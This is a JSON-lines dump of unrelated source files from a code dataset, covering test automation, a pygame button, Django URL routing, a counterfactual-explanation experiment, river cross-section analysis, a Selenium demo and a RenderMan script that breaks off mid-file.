payloadIOM = self.readFile(globalVars.Configure_iom_payload)\n payloadIOM = payloadIOM.replace(\"$switch_ID\", iomDetail['puppetCertName']).replace(\"$switch_Component_ID\",iomDetail['serviceTag']).replace(\"$switch_Cert_Name\",iomDetail['puppetCertName']).replace(\"$switch_name\",iomDetail['serviceTag']).replace(\"$switch_IP\",iomDetail['IP']).replace(\"$switch_title_value\", iomDetail['puppetCertName']).replace(\"$switchAdditionalParameters\",\"\")\n finalPayload = finalPayload + payloadIOM\n self.log_data(\" PAYLOAD AFTER IOM \")\n self.log_data(finalPayload) \n \n for serverDetail in serverList:\n payloadServer = \"\"\n payloadServer = self.readFile(globalVars.Configure_server_payload)\n payloadServer = payloadServer.replace(\"$ID\",serverDetail['ID']).replace(\"$server_componentID\",serverDetail['serviceTag']).replace(\"$server_Cert_Name\",serverDetail['puppetCertName']).replace(\"$server_name\",serverDetail['serviceTag']).replace(\"$server_ipAddress\",serverDetail['IP']).replace(\"$server_title_Value\",serverDetail['puppetCertName']).replace(\"$server_user_Value\",iDRACUser)\n payloadServer = payloadServer.replace(\"$chassisAdditionalParameters\",\"\").replace(\"$serverAdditionalParameters\",\"\")\n finalPayload = finalPayload + payloadServer\n \n self.log_data(\" PAYLOAD AFTER SERVER \")\n self.log_data(finalPayload) \n \n finalPayload = finalPayload + \"falsefalsefalsefalsefalsefalsefalse\"\n \n response,status=self.getResponse(\"POST\", \"Configure\", payload=finalPayload)\n \n respGETwizard = self.getResponse(\"GET\", \"Wizard\")\n \n putwizard,statwiz = self.setCompleteWizard()\n \n \n\n \n \nif __name__==\"__main__\":\n test = TestiDRACUser()\n test.createiDRACUser()\n","sub_path":"CLI_DH_31Jan17_old/testcases/chassisconfig/TestCase_107230.py","file_name":"TestCase_107230.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"276088400","text":"# 5250 / calculate min oils to reach goal\ndef find():\n global d, mat, check\n\n q = [(0, 0)]\n while q:\n i, j = q.pop(0)\n for di, dj in d:\n ni, nj = i + di, j + dj\n if 0 <= ni < N and 0 <= nj < N:\n t = check[i][j] + 1\n\n diff = mat[ni][nj] - mat[i][j]\n if diff >= 1:\n t += diff\n\n if check[ni][nj] > t:\n check[ni][nj] = t\n q.append((ni, nj))\n\n\nd = [(0, 1), (1, 0), (0, -1), (-1, 0)]\n\nfor T in range(int(input())):\n N = int(input())\n mat = [list(map(int, input().split())) for i in range(N)]\n\n check = [[10001 * 100]*N for i in range(N)]\n check[0][0] = 0\n find()\n\n print(f'#{T + 1} {check[N - 1][N - 1]}')\n","sub_path":"Course/Advanced/5250.py","file_name":"5250.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"35632421","text":"import pygame.font\n\nclass Button():\n \"\"\"Инициализирует кнопку\"\"\"\n def __init__(self, start_game, msg, number):\n self.num = number\n self.screen = start_game.screen\n self.screen_rect = self.screen.get_rect()\n\n self.width, self.height = 170,30\n self.button_color = (25,25,112)\n self.text_color = (255, 255, 255)\n self.font = pygame.font.SysFont(\"PressStart2P.tff\", 40)\n \n self.rect = pygame.Rect(0, 0, self.width, self.height)\n self.rect.center = self.screen_rect.center\n\n self.rect_inst = pygame.Rect(497, 395, self.width, self.height)\n self.rect_inst.center = (497, 395)\n\n self.rect_play_inst = pygame.Rect(497, 620, self.width, self.height)\n self.rect_play_inst.center = (497,620)\n\n self.prep_msg(msg)\n\n def prep_msg(self, msg):\n if self.num == 2:\n self.msg_image = self.font.render(msg, True, self.text_color, self.button_color)\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect_inst.center\n elif self.num == 1:\n self.msg_image = self.font.render(msg, True, self.text_color, self.button_color)\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect.center\n elif self.num == 3:\n self.msg_image = self.font.render(msg, True, self.text_color, self.button_color)\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect_play_inst.center\n\n def draw_button(self):\n if self.num == 2:\n self.screen.fill(self.button_color, self.rect_inst)\n self.screen.blit(self.msg_image, self.msg_image_rect)\n elif self.num == 1:\n self.screen.fill(self.button_color, self.rect)\n self.screen.blit(self.msg_image, self.msg_image_rect)\n elif self.num == 3:\n self.screen.fill(self.button_color, self.rect_play_inst)\n self.screen.blit(self.msg_image, self.msg_image_rect)\n\n","sub_path":"Game_PyGame/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"67630180","text":"# Rest framework imports\nfrom rest_framework.routers import DefaultRouter\n\n# Django imports\nfrom django.conf.urls import url, include\n\n# Own imports\nfrom .views import (CategoryViewSet, KnowFieldViewSet, \n\t\t\t\t\tTestViewSet, AcademicOptionsViewSet, \n\t\t\t\t\tClientViewSet, PartnerViewSet, RequestViewSet,\n StatisticsViewSet, OpenSuggestViewSet, PartnerSkillViewSet,\n\t\t\t\t\tTransactionViewSet, SelfAccountViewSet, TableAccountViewSet)\n\nrouter = DefaultRouter()\nrouter.register(r'category', CategoryViewSet, base_name='admin-category')\nrouter.register(r'know-field', KnowFieldViewSet, base_name='admin-know-field')\nrouter.register(r'test', TestViewSet, base_name='admin-test')\nrouter.register(r'academic-options', AcademicOptionsViewSet, base_name='admin-academic_options')\nrouter.register(r'client', ClientViewSet, base_name='admin-client')\nrouter.register(r'partner', PartnerViewSet, base_name='admin-partner')\nrouter.register(r'partner-skill', PartnerSkillViewSet, base_name='admin-partner-skill')\nrouter.register(r'transactions', TransactionViewSet, base_name='admin-transactions')\nrouter.register(r'request', RequestViewSet, base_name='admin-request')\nrouter.register(r'open-suggest', OpenSuggestViewSet, base_name='admin-open-suggest')\nrouter.register(r'statistics', StatisticsViewSet, base_name='admin-statistics')\nrouter.register(r'accounts', SelfAccountViewSet, base_name='admin-accounts')\nrouter.register(r'user-table', TableAccountViewSet, base_name='admin-user-table')\n\n\nurlpatterns = [\n\turl(r'^admin/', include(router.urls)),\n]\n","sub_path":"asilinks/admin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"857861","text":"import datetime\n\nfrom lorem import LOREM\nfrom datamanager import *\nfrom rule import apply_counterfactual\nfrom util import record2str, neuclidean, multilabel2str\n\nfrom sklearn.svm import SVC\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.metrics import accuracy_score\n\n\ndef main():\n\n random_state = 0\n path = '/Users/riccardo/Documents/PhD/LOREM/'\n path_data = path + 'dataset/'\n\n dataset = 'compas'\n blackbox = 'rf'\n\n if dataset == 'adult':\n df, class_name = prepare_adult_dataset(path_data + 'adult.csv')\n elif dataset == 'german':\n df, class_name = prepare_german_dataset(path_data + 'german_credit.csv')\n elif dataset == 'compas':\n df, class_name = prepare_compass_dataset(path_data + 'compas-scores-two-years.csv', binary=True)\n elif dataset == 'compasm':\n df, class_name = prepare_compass_dataset(path_data + 'compas-scores-two-years.csv', binary=False)\n elif dataset == 'iris':\n df, class_name = prepare_iris_dataset(path_data + 'iris.csv')\n elif dataset == 'winered':\n df, class_name = prepare_wine_dataset(path_data + 'winequality-red.csv')\n elif dataset == 'winewhite':\n df, class_name = prepare_wine_dataset(path_data + 'winequality-white.csv')\n elif dataset == 'yeast':\n df, class_name = prepare_yeast_dataset(path_data + 'yeast.arff')\n elif dataset == 'medical':\n df, class_name = prepare_medical_dataset(path_data + 'medical.arff')\n else:\n print('unknown dataset %s' % dataset)\n raise Exception\n\n df, feature_names, class_values, numeric_columns, rdf, real_feature_names, features_map = prepare_dataset(\n df, class_name)\n\n stratify = None if isinstance(class_name, list) else df[class_name].values\n X_train, X_test, Y_train, Y_test = train_test_split(df[feature_names].values, df[class_name].values, test_size=0.30,\n random_state=random_state, stratify=stratify)\n\n stratify = None if isinstance(class_name, list) else rdf[class_name].values\n _, K, _, _ = train_test_split(rdf[real_feature_names].values, rdf[class_name].values, test_size=0.30,\n random_state=random_state, stratify=stratify)\n\n X2e = X_test[:100]\n\n if blackbox in ['rf', 'random_forest']:\n bb = RandomForestClassifier(n_estimators=100, random_state=random_state)\n elif blackbox in ['svm', 'support_vector_machines']:\n bb = SVC(random_state=random_state)\n elif blackbox in ['nn', 'mlp', 'multilayer perceptron']:\n bb = MLPClassifier(random_state=random_state)\n else:\n print('unknown black box %s' % blackbox)\n raise Exception\n\n bb.fit(X_train, Y_train)\n\n def bb_predict(X):\n return bb.predict(X)\n\n dt_pred = list()\n bb_pred = list()\n nbr_crules = list()\n nbr_good_crules = 0\n\n explainer = LOREM(K, bb_predict, feature_names, class_name, class_values, numeric_columns, features_map,\n neigh_type='rndgen', categorical_use_prob=True, continuous_fun_estimation=False, size=1000,\n ocr=0.1, multi_label=False, one_vs_rest=False, random_state=0, verbose=False, ngen=10)\n\n for i2e in range(len(X2e)):\n if i2e % 10 == 0:\n print(datetime.datetime.now(), '%.2f' % (i2e / len(X2e) * 100))\n x = X_test[i2e]\n exp = explainer.explain_instance(x, samples=1000, use_weights=True, metric=neuclidean)\n has_good_crules = False\n\n for delta, crule in zip(exp.deltas, exp.crules):\n xc = apply_counterfactual(x, delta, feature_names, features_map, numeric_columns)\n bb_outcomec = bb_predict(xc.reshape(1, -1))[0]\n bb_outcomec = class_values[bb_outcomec] if isinstance(class_name, str) else multilabel2str(bb_outcomec,\n class_values)\n dt_outcomec = crule.cons\n dt_pred.append(dt_outcomec)\n bb_pred.append(bb_outcomec)\n if dt_outcomec == bb_outcomec and not has_good_crules:\n nbr_good_crules += 1\n has_good_crules = True\n\n nbr_crules.append(len(exp.deltas))\n\n print(datetime.datetime.now(), '%.2f' % 100)\n\n print('')\n print('dataset: %s ' % dataset)\n print('black box: %s ' % blackbox)\n print('c-fielity: %.6f' % accuracy_score(bb_pred, dt_pred))\n print('nbr crules: %.2f pm %.2f' % (np.mean(nbr_crules), np.std(nbr_crules)))\n print('nbr good crules: %.2f' % (nbr_good_crules / len(X2e)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Midterm 3/lorem/code/test_counterfactuals.py","file_name":"test_counterfactuals.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"393546339","text":"#! /usr/bin/python3\n# rename_dates.py - Renames filenames with American MM-DD-YYYY date formats to European DD-MM-YYYY\n\nimport shutil, os, re\n\ndate_pattern = re.compile(r'''^(.*?)\n ((0|1)?\\d)-\n ((0|1|2|3)?\\d)-\n ((19|20)\\d\\d)\n (.*?)$\n ''', re.VERBOSE)\n\n# Loop over all the files in the target directory\nall_files = os.listdir('.')\n\namerican_date_files = filter(lambda file_name: re.search(date_pattern, file_name), all_files)\n\n# move those files to the new European date\nfor file_name in list(american_date_files):\n mo = re.search(date_pattern, file_name)\n new_file_name = mo.group(1) + mo.group(4) + '-' + mo.group(2) + '-' + mo.group(6) + mo.group(8)\n\n print('Moving ' + file_name + ' to ' + new_file_name)\n shutil.move(file_name, new_file_name) \n","sub_path":"ch9/rename_dates/rename_dates.py","file_name":"rename_dates.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"620594587","text":"###############################################################################################################################\n#\n# created by Russell-MDAP team March-September 2021\n#\n# Russell-MDAP amended deRosa code -> HydXS\n#\n# input: XSdata = cross section data\n# : requires the following column names: x_sec_id , POINT_X , POINT_Y , POINT_Z , x_sec_order \n# : requires a centreline, 0 for all rows but the centre line row\n# this variable name can be anything and is specified in function call (in this example code is \"RivCentre\")\n# BUT if data doesn't not have centre line, set dR_cutoff=False, and the cross-section is passed through untrimmed (and dR_centre and dR_window are not used)\n#\n###############################################################################################################################\n\n## imports ---------------------------------------------------------------------------------------------------------\nfrom .wrangle_cross_section import *\nfrom .xs_preprocessor import *\nfrom .HydXS_modelling import *\nfrom .HydXS_output import *\nfrom .HydXS_attachModelResults import *\nfrom pathlib import Path\n\n## parameters ------------------------------------------------------------------------------------------------------\n#01: data input\n\n## run HydXS ------------------------------------------------------------------------------------------------------\n\n#01: wrangling\n#XSdata1 = wrangle_cross_section(XSdata)\n\ndef run_hydxs(\n point_df,\n input_type = 'DF',\n xy_col = ('POINT_X','POINT_Y'),\n z_col = 'POINT_Z',\n xs_id_col = 'x_sec_id',\n xs_order_col = 'x_sec_order',\n riv_centre = 'RivCentre' , #CHANGE: to the name of the variable in your dataset that identifies the x_sec_id that is the centre line ; see additional note above\n #02: pre-processing\n exclude = (239,648) , #CHANGE : identifiers of x_sec_id to be excluded due to anomalies etc; may be empty\n first = 1 , #KEEP / CHANGE : HydXS default is 1 ; may change if you're testing a small subset\n last = 648 , #CHANGE : to maximum number of x_sec_id in your dataset ; or if you're running a test on a smaller subset\n window = 10 , #KEEP / CHANGE : HydXS default is 10 ; number of points either side of centre line to look for min depth\n centre = 'RivCentre' , \n #03: modelling\n nVsteps = 200 , #KEEP / CHANGE : deRosa originally had this at 100; HydXS default is 200 due to complexity of riverbanks the work was based on\n minVdep = 0.2 , #KEEP / CHANGE : deRosa originally had this at 1.0; HydXS default is 0.2 due to the nature of the riverbanks the work was based on\n maxr = 3 , #KEEP / CHANGE : HydXS default is 3 ; how many times HydXS tries to get a result that doesn't hit boundary ; the higher the number, the longer the running\n nruns = 11 , #KEEP / CHANGE : HydXS default is 11; make an odd number of runs, so mode is possible (if even, and split, then mode cannot be calc'd)\n out_data_path = \"model_outputs/test01/\" #CHANGE : where output CSV are saved\n ):\n if isinstance(point_df, (str, Path)) == True:\n point_df = pd.read_csv(point_df)\n\n XSdata1 = wrangle_cross_section( point_df=point_df , input_type=input_type , xy_col=xy_col , z_col=z_col , xs_id_col=xs_id_col , xs_order_col=xs_order_col , riv_centre=riv_centre )\n\n #02: pre-processing\n XSdata2 = preprocess_cross_section( XSdata1 , dR_first=first , dR_last=last , dR_cutoff=True , dR_centre=centre , dR_window=window , dR_excl=exclude )\n\n #03: model runs \n XSdata3 = HydXS_run( XSdata2, first,last, num_runs=nruns, output_path=out_data_path, maxrun=maxr, steps=nVsteps, minV=minVdep )\n\n #04: model output \n XSdata4 = calcoutputs( XSdata3 , nruns )\n\n #05: attach to original XS dataset \n XSdata5 = attach_HydXS( XSdata2, XSdata4 )\n return XSdata5\n\n## end -------------------------------------------------------------------------------------------------------------\n","sub_path":"HydXS/run_HydXS.py","file_name":"run_HydXS.py","file_ext":"py","file_size_in_byte":4120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"28594072","text":"\nimport Lab1_Agents_Task1_World as World\nimport random\nrobot = World.init()\nprint(sorted(robot.keys()))\nwhile robot:\n simulationTime = World.getSimulationTime()\n if simulationTime % 1000 == 0:\n # print some useful info, but not too often\n print('Time:', simulationTime,\n 'ultraSonicSensorLeft:', World.getSensorReading(\"ultraSonicSensorLeft\"),\n \"ultraSonicSensorRight:\", World.getSensorReading(\"ultraSonicSensorRight\"))\n\n motorSpeed = dict(speedLeft= random.randint(-100, 100), speedRight=random.randint(-100, 100))\n\n World.collectNearestBlock()\n\n World.setMotorSpeeds(motorSpeed)\n # try to collect energy block (will fail if not within range)\n if simulationTime % 10000 == 0:\n print(\"Trying to collect a block...\", World.collectNearestBlock())\n","sub_path":"ProteusLaptop/Lab/OutPut/Lab 1_M_Mirian/Lab1_Agents_code/Lab1_Random Agents_Task1_Pioneer.py","file_name":"Lab1_Random Agents_Task1_Pioneer.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"220781465","text":"from selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom time import sleep\n\ndriver = webdriver.Firefox()\ndriver.get('http://www.spicejet.com/')\n\ninvestors = driver.find_element_by_xpath(\".//*[@id='smoothmenu1']/ul/li[4]/a\")\nActionChains(driver).move_to_element(investors).perform() # perform method actually is the one that runs it\nsleep(1)\n\nfinancial_information = driver.find_element_by_xpath(\".//*[@id='smoothmenu1']/ul/li[4]/ul/li[2]/a\")\nActionChains(driver).move_to_element(financial_information).perform()\nsleep(1)\n\nannual_reports = driver.find_element_by_xpath(\".//*[@id='smoothmenu1']/ul/li[4]/ul/li[2]/ul/li[1]/a\")\nActionChains(driver).move_to_element(annual_reports).perform()\nsleep(1)\n\nreports_2015_2016 = driver.find_element_by_xpath(\".//*[@id='smoothmenu1']/ul/li[4]/ul/li[2]/ul/li[1]/ul/li[1]/a\")\n# now we click on the item the menu\nActionChains(driver).move_to_element(reports_2015_2016).click(reports_2015_2016).perform()\nsleep(1)\n\ndriver.quit()\n","sub_path":"udemy/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"185098052","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.3 (62011)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/testoob/commandline/repeat_option.py\n# Compiled at: 2009-10-07 18:08:46\nimport parsing\nparsing.parser.add_option('--repeat', metavar='NUM_TIMES', type='int', help='Repeat each test')\n\ndef process_options(options):\n if options.repeat is not None:\n from testoob.extracting import repeat\n parsing.kwargs['extraction_decorators'].append(repeat(options.repeat))\n return\n\n\nparsing.option_processors.append(process_options)","sub_path":"pycfiles/testoob-1.15-py2.3/repeat_option.py","file_name":"repeat_option.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"428460843","text":"#!/usr/bin/env python3\n\n# movie.py\n\n# Copyright (c) 2012, Jeremiah LaRocco jeremiah.larocco@gmail.com\n\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nimport sys\nsys.path.append('..')\n\nimport ri\n\nimport itertools\nimport argparse\nimport math\n\nimport os.path\n\ndef AimZ(direction):\n\n if (direction[0]==0 and direction[1]==0 and direction[2]==0):\n return\n\n xzlen = math.sqrt(direction[0]*direction[0]+direction[2]*direction[2])\n if (xzlen == 0):\n if (direction[1] < 0):\n yrot = 180\n else:\n yrot = 0\n else:\n yrot = 180.0*math.acos(direction[2]/xzlen)/math.pi\n\n yzlen = math.sqrt(direction[1]*direction[1]+xzlen*xzlen)\n xrot = 180*math.acos(xzlen/yzlen)/math.pi\n\n if (direction[1] > 0):\n ri.Rotate(xrot, 1.0, 0.0, 0.0)\n else:\n ri.Rotate(-xrot, 1.0, 0.0, 0.0)\n\n if (direction[0] > 0):\n ri.Rotate(-yrot, 0.0, 1.0, 0.0)\n else:\n ri.Rotate(yrot, 0.0, 1.0, 0.0)\n\n\ndef PlaceCamera(cam):\n ri.Rotate(-cam['roll'], 0.0, 0.0, 1.0);\n la = cam['look_at']\n loc = cam['location']\n direction = [la[0]-loc[0],\n la[1]-loc[1],\n la[2]-loc[2]]\n AimZ(direction)\n negloc = [-1*x for x in loc]\n ri.Translate(*negloc)\n\ndef f(u,v):\n return 2*math.sin(u) * math.cos(v)\n\ndef main(args):\n parser = argparse.ArgumentParser(description=\"\")\n parser.add_argument('--frames', help='The number of frames',\n type=int, default=24)\n parser.add_argument('--prefix', help=\"The base name of the images. Will look for: \\\"images/basename*.tif\\\"\",\n default=\"sample\")\n parser.add_argument('--out', help='The name of the output file. Must be recognized by ffmpeg',\n type=os.path.abspath, required=True, metavar='')\n parser.add_argument('--audio', help='The audio file for the sound. Must be supported by ffmpeg',\n type=os.path.abspath, default=None, metavar='